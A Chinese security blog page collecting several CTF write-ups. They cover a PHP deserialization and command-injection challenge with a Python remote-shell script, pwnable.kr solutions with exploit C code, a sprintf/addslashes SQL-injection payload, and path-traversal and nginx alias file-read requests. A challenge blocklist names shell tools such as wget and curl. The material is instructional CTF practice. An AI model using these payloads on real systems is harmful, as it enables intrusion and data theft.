Fork me on GitHub
R00tnb's Blog

吾将上下而求索


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

赛博地球杯工业互联网安全大赛web题--工控系统的敏感消息遭泄漏

发表于 2018-01-18 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

web题大致看了一下,都没啥思路。。。。。麻蛋签到题也不会,但是这道题我是有思路的,套路跟以前做过的ctf题目类似,算是中规中矩的题目了。

分析

题目内容:

云平台消息中心,泄漏了不该泄漏的消息。导致系统可以被入侵。

既然是信息泄露,首先想到的是源码泄露。试了一下,发现是git目录泄露,那么利用工具直接把git目录下载下来(工具网上有但我是自己写的,有时间写一篇博客记录下)。
然后恢复所有删除的文件即可,使用如下命令:

1
git ls-files -d | xargs git checkout --

之后只用关注class.php,index2.php,waf.php这三个文件即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//file: class.php
<?php
error_reporting(0);

class Record{
public $file="Welcome";

public function __construct($file)
{
$this->file = $file;
}


public function __wakeup()
{
$this->file = 'wakeup.txt';
}

public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}


}

$b =new Record('Welcome');
unset($b);

?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
//file: index2.php
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>消息中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台消息中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>系统消息</legend>
</fieldset>
<ul class="layui-timeline">
<li class="layui-timeline-item">
<i class="layui-icon layui-timeline-axis"></i>
<div class="layui-timeline-content layui-text">
<h3 class="layui-timeline-title">2018年1月</h3>
<p></p>
<ul>
<li><a href="?file=Welcome">云平台会员独享,云防护加固,每月仅需xxx</a></li>
<li><a href="?file=Me" >云平台会员抽奖开始啦</a></li>
</ul>
</div>
</li>
<li class="layui-timeline-item">
<i class="layui-icon layui-timeline-axis"></i>
<div class="layui-timeline-content layui-text">
<h3 class="layui-timeline-title">2017年12月</h3>
<p></p>
<ul>
<li><a href="?file=Record" >5分钟快速了解本系统</a></li>
<li><a href="?file=Flag&secret=yes" >欢迎使用xx云工控管理系统</a></li>
</ul>
</div>
</li>
</ul>

<?php
error_reporting(0);

include 'class.php';
include 'waf.php';
if(@$_GET['file']){
$file = $_GET['file'];
waf($file);
}else{
$file = "Welcome";
}

if($_GET['id'] === '1'){
include 'welcome/nothing.php';
die();
}
$secret = $_GET['secret'];
$ad = $_GET['ad'];

if(isset($ad)){
if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
{
echo '<script>alert("Sorry ! Again !")</script>';
}
elseif(strpos($ad, '--') !== FALSE)
{
echo "Ok Evrything will be fine!<br ><br >";
if (stripos($secret, './') > 0) {
die();
}
unserialize($secret);
}
else
{
echo '<script>alert("Sorry ! You must have --")</script>';
}
}


?>

<?php

if($file == "Welcome"){
require_once 'welcome/welcome.php';
}else{
if(!file_exists("./import/$file.php")){
die("The file does not exit !");
}elseif(!system("php ./import/$file.php")){
die('Something was wrong ! But it is ok! ignore it :)');

}
}
?>
</div>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//file: waf.php
<?php
error_reporting(0);

function waf($values){
//$black = [];
$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','cat','head','tail','more','tac','rm','ls','tailf',' ','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');

foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
if (!ctype_alnum($values)) {
die("Attack!");
}
}
}

?>

三个文件的逻辑很简单,其中index2.php中有主逻辑,下面一个个分析。

  • waf.php
    这个文件只有一个函数waf(),这个函数对传入字符串进行黑名单排查。
  • class.php
    该文件中建立了一个Record的类,该类有一个属性file,有__sleep(),__wakeup两个特殊的魔术方法定义,感觉这就是解题关键。
  • index2.php
    该文件有题目的主逻辑,只要突破对$ad变量的重重阻碍,就可到达一个解序列化函数unserialize($secret),而这就是解题关键。

解决

通读三个文件,有两处调用了system函数,其中index2.php中在调用前会检查文件是否存在,只有Record类的__destruct函数中调用时并未做检查。这里如果控制file属性,就可以控制system函数的参数,从而造成命令注入。
这里需要解决三大问题:

  • ereg和strpos函数矛盾
    这里可以利用ereg函数的截断漏洞绕过,该函数会在ascii码为0的地方截断。
  • secret中不能包含./
    这个不是问题,但是要注意,嘿嘿。
  • 解序列化后如何进入system的条件语句块
    这里要利用php的一个漏洞(CVE-2016-7124),php(PHP5< 5.6.25;PHP7< 7.0.10)在使用函数unserialize时,若属性个数大于实际属性个数就不会调用类的__wakeup函数。在这里就能控制file属性的值了。
    于是为了更容易的执行命令,我用python写了如下的代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import requests
    def work():
    secret = 'O:6:"Record":3:{s:4:"file";s:%d:"%s";}'
    ad = '1\x00--'
    file ='Flag'
    url = "http://47.104.99.231:20003/index2.php"

    while(True):
    cmd = raw_input('$ ')
    if(cmd == 'quit'):
    print 'over!!!'
    break
    cmd = 'Flag.php && ({}) && echo '.format(cmd)
    s = secret%(len(cmd),cmd)
    r = requests.get(url,params={'file':file,'ad':ad,'secret':s})
    r.encoding = 'utf-8'
    i = r.text.find('Flag is !')+9
    j = r.text.rfind('Flag is !')-6
    print r.text[i:j].encode('GB18030')
    r.close()
    work()

最后flag在Flag.php文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ls import
Flag.php
Me.php
Record.php

$ cat import/Flag.php
<?php
error_reporting(0);
//$flag = "flag{g_i_i_t_is_unsafe_ahhhahahah}";

echo "Flag is !";
?>

$

总结

这道题考察了多处php的一些漏洞,但在ctf中属于常规题目,没有过多的脑洞还是挺适合我的,嘿嘿。。但我还是很菜,因为这道题做出来的人很多!!以后要继续向大佬学习。

pwnable.kr-mistake

发表于 2018-01-17 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这题其实考察细心,不难。

分析

还是先贴代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

题目逻辑很简单,只要从password文件中读取的数据跟输入的数据的异或加密后的结果相等,就会得到flag。
但是整个逻辑如果不细心,就不会发现错误,就真的如我上面所想像的逻辑了。
根据题目提示:运算符优先级。可以看到open函数直接跟小于号与零比较,由于c语言中小于号优先级高于赋值的等号,又由于这里open函数会返回大于零的值,那么先进行比较运算返回逻辑假值,在c语言中就是0,所以fd的值就是0。
知道了这些,那么后面的read调用就会从标准输入中读取值,那么两个值就都在控制之中了,于是就能getflag了。要注意第二次输入要进行异或加密。

1
2
3
4
5
6
7
mistake@ubuntu:~$ ./mistake 
do not bruteforce...
1234567890
input password : 0325476981
Password OK
Mommy, the operator priority always confuses me :(
mistake@ubuntu:~$

总结

这题当时纠结了一会儿,确实要细心,安全漏洞总会发生在最容易忽略的地方,要时刻保持细心。

pwnable.kr-leg

发表于 2018-01-14 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这是一道考察arm汇编的题目,很简单。

分析

还是先贴出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

获取flag的关键就是求得三个key函数的返回值的和。其实只要学过arm汇编就迎刃而解了,唯一要注意的是arm中PC寄存器指向的是当前指令下面的第二条指令。而x86下PC指向的是当前指令。
通过反汇编代码,可以发现

1
2
3
4
key1 = 0x00008ce4;
key2 = 0x00008d08;
key3 = 0x00008d80+4=0x00008d84;
key = key1+key2+key3 = 108400;

1
2
3
4
5
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!
/ $

总结

做这一题其实我复习了一下arm汇编,有的指令和寄存器还是不太清楚,以后找时间总结一下arm汇编并记录下来。

pwnable.kr-input

发表于 2018-01-12 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这道题对于我来说挺麻烦,整个题目分了五个阶段,涉及进程通信,socket等内容。对,就是考察linux基础的,但是我得承认我对这些不熟,所以还是查了半天资料做出来的,最后题目还有个大坑。

分析

首先还是分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

整个程序先是检验main函数传入参数,环境变量。然后读取0和2文件描述符内容进行比较,之后读取\x0a这样的看似特殊的文件有进行一番比较,最后设置了一个socket服务端等待连接读取数据再进行比较。
总共五步,我只简要的分析,懂得linux基础的并不难。
对于传入参数和环境变量,可以直接使用execve函数来构造,它的原型是

1
2
int execve(const char* filepath,char* const argv[],char* const envp[]);
返回值:当执行成功时不返回,失败返回-1

对于读取指定文件描述符,可以使用管道与新建进程通信,同时记得使用dup2函数重定向到指定文件描述符。
对于特殊文件名文件,直接新建一个就好了并不特殊。
对于socket,自己建一个客户端连上去并发送指定数据。
最后,会发现我写的exp咋不能传上去。是的,你没有权限,但是可以传到/tmp文件夹下,这个文件夹默认任何用户可读写。然后还要使用ln命令建立一个到~/flag的链接,不然读不到flag。
最后的最后附上解决代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<errno.h>

extern int errno;
int main(){
//argv
char* argv[101]={"~/input2",[1 ... 99]="A",NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] = "1314";


//env
char* env[]={"\xde\xad\xbe\xef=\xca\xfe\xba\xbe",NULL};

//File
FILE* fp = fopen("\x0a","w");
if(!fp){
puts("file open failed!");
return 0;
}
fwrite("\x00\x00\x00\x00",4,1,fp);
fclose(fp);

//stdio.h
int fd[2];
pid_t pid;
if(pipe(fd)<0){
printf("pipe error!\n");
return 0;
}
write(fd[1],"\x00\x0a\x00\xff\x00\x0a\x02\xff",8);
pid = fork();
if(pid<0) return 0;
if(pid == 0){
dup2(fd[0],0);
dup2(fd[0],2);
printf("exec working!\n");
if(-1 == execve("/home/input2/input",argv,env)){
puts("exec error!");
}
}
else{
sleep(3);
int sock;
struct sockaddr_in addr;
sock = socket(AF_INET,SOCK_STREAM,0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(atoi(argv['C']));
connect(sock,(struct sockaddr*)&addr,sizeof(addr));
write(sock,"\xde\xad\xbe\xef",4);
close(sock);
sleep(1);
}
return 0;
}

插曲

按照我的想法,应该就可以高高兴兴的拿到flag了啊。可是却出现了意外:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
input2@ubuntu:~$ cd /tmp
input2@ubuntu:/tmp$ ln -s ~/flag flag
input2@ubuntu:/tmp$ ./poc
-bash: ./poc: No such file or directory
input2@ubuntu:/tmp$ ./poc
exec working!
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
input2@ubuntu:/tmp$

什么?全部通关竟然不给flag?这就是我前面提到的大坑了。后来实在想不明白,看了别人的flag,我草,他们竟然在/tmp/input/目录里搞得,有着目录吗?还真有

1
2
3
input2@ubuntu:/tmp$ ls input
? coin1.py err_file file fla flag poc solve.py $’x0a’
input2@ubuntu:/tmp$

于是就能getflag了(事先一点线索都没有啊)

1
2
3
4
5
6
7
8
9
10
11
12
input2@ubuntu:/tmp/input$ ./poc
exec working!
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
input2@ubuntu:/tmp/input$

总结

这道题把linux中基础且重要的东西融合在一起(有点生硬),考的我措手不及马上复习了一下,挺好的。推荐我读的书《UNIX系统编程手册 ((德)Michael Kerrisk) 》

php的sprintf带来的注入隐患

发表于 2018-01-03 | 更新于 2018-08-04 | 分类于 WEB安全 | 评论数:

前言

php是一门神奇的语言,不同函数的配合不当就有可能造成漏洞。这里记录一下由于sprintf和addslashes函数配合使用,可能造成的注入漏洞。

分析

思考下面的代码

1
2
3
4
<?php
$user = addslashes($_GET['user']);
$sql = sprintf("select * from users where type='%s' and user='$user'",'admin');
...//对sql语句进行查询

代码中使用addslashes函数对传入参数进行转义,然后用sprintf函数进行sql语句的构造。
现在假设服务器的其他配置和代码安全,并且对该sql语句不做其他转义或过滤。那么如何绕过呢?这里由于sprintf函数在使用中将$user变量直接加入到格式化控制字符串中,那么如果$user变量中含有%的话sprintf函数将解析该位置的参数,如果没有提供对应参数函数就会报错。c语言中sprintf函数会将%d,%c等解析成相应类型,PHP中也一样,那么如果传入下面的字符串会发生什么?

1
%1$' or 1#

这里加上%1表示使用sprintf的第二个参数来对应解析。这时由于字符串通过addslashes的转义在单引号前面会插入一个\,当传入sprintf时%就会‘吞掉’后面的\,从而‘’’逃逸出来,完成注入。

解决办法

严格控制sprintf的格式化控制字符串,不使用PHP的双引号解析变量的方式。

总结

这是在做ctf中学到的,由于不知道这种方式可以使‘’’逃逸出来,还是参考了搜索引擎上的文章。漏洞总是出现在函数的使用上,熟悉函数的使用和特性对漏洞的分析和挖掘是有帮助的。另外,在漏洞挖掘中要时刻注意数据的流向,说不定当中一个环节就放过了恶意数据。

百度杯2017二月-Zone

发表于 2018-01-03 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这道题是我看了官方writeup才做出来的,最后是因为Nginx配置不当导致的漏洞,没错触及到了知识盲区,记录下来。

分析

点开题目链接,提示我必须登录。然后我习惯性的拿出burpsuite来抓包,发现Cookie字段中出现了可疑的login=0,于是改为1发送过去,就好啦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:06:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 1561

<html>
<head>
<title>Mini-Zone</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta charset="gbk" />
<link href="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Mini-Zone</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button> <a class="navbar-brand" href="/index.php">Mini-Zone</a>
</div>

<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav">
<li class="active">
<a href="/manages/admin.php">Manage</a>
</li>
<li>
<a href="/logout.php">Logout</a>
</li>
</ul>
</div>

</nav>
<div class="jumbotron">
ÍøÕ¾½¨ÉèÖУ¡
</div>
</div>
</div>
</div>
<script src="https://code.jquery.com/jquery.js"></script>
</body>
</html>

乱码的不用关心,可以发现有一处url是/manages/admin.php跟进去,burp返回

1
2
3
4
5
6
7
8
9
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:09:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Location: admin.php?module=index&name=php
Content-Length: 6

可以看到有一个跳转,而且这查询参数咋感觉是文件包含呢。首先想到的是使用php://filter为协议来读源代码,但是试过了没用可能是过滤了,然后是各种试过滤,一点办法都没有。。。
然后忍不住看了writeup,麻蛋终于知道了。原来还可以读取Nginx配置文件,唉,我是真的对Nginx配置不熟,当时没想过这些,这次算是学到了。
这一题得注意,在向上访问时../被替换为空,于是构造如下url访问NGINX配置文件

1
GET /manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name= HTTP/1.1

获得返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:59:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 2708


#user nobody;
worker_processes 1;

#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;

#pid run/nginx.pid;


events {
worker_connections 1024;
}


http {
include mime.types;
default_type application/octet-stream;

#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';

#access_log logs/access.log main;

sendfile on;
#tcp_nopush on;

#keepalive_timeout 0;
keepalive_timeout 65;

#gzip on;

#server {
# listen 80;
# server_name localhost;

#charset koi8-r;

#access_log logs/host.access.log main;

# location / {
# root html;
# index index.html index.htm;
# }

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
# error_page 500 502 503 504 /50x.html;
# location = /50x.html {
# root html;
# }

# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
#}


# another virtual host using mix of IP-, name-, and port-based configuration
#
#server {
# listen 8000;
# listen somename:8080;
# server_name somename alias another.alias;

# location / {
# root html;
# index index.html index.htm;
# }
#}


# HTTPS server
#
#server {
# listen 443 ssl;
# server_name localhost;

# ssl_certificate cert.pem;
# ssl_certificate_key cert.key;

# ssl_session_cache shared:SSL:1m;
# ssl_session_timeout 5m;

# ssl_ciphers HIGH:!aNULL:!MD5;
# ssl_prefer_server_ciphers on;

# location / {
# root html;
# index index.html index.htm;
# }
#}
include sites-enabled/default;
}

一看没什么问题,但是它又包含了一个文件include sites-enabled/default;,于是继续查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:04:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 728

server {
listen 80;
#listen [::]:80 default_server ipv6only=on;

root /var/www/html;
index index.php index.html index.htm;

server_name localhost;

location / {
try_files $uri $uri/ =404;
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
#fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
}
}

error_page 404 /404.html;

error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /var/www/html;
}

location /online-movies {
alias /movie/;
autoindex on;
}

location ~ /\.ht {
deny all;
}
}

这里就要注意了,因为有一个autoindex on也就是开启了目录遍历,然后alias /movie/替换匹配部分的url,也就是说如果我访问/online-movies../就会变成访问/movie/../.再加上目录遍历就可读取任意文件了。最后构造如下url获得flag

1
GET /online-movies../var/www/html/flag.php HTTP/1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:19:40 GMT
Content-Type: application/octet-stream
Content-Length: 81
Connection: keep-alive
Last-Modified: Wed, 03 Jan 2018 04:57:42 GMT
ETag: "5a4c62c6-51"
Accept-Ranges: bytes

<?php
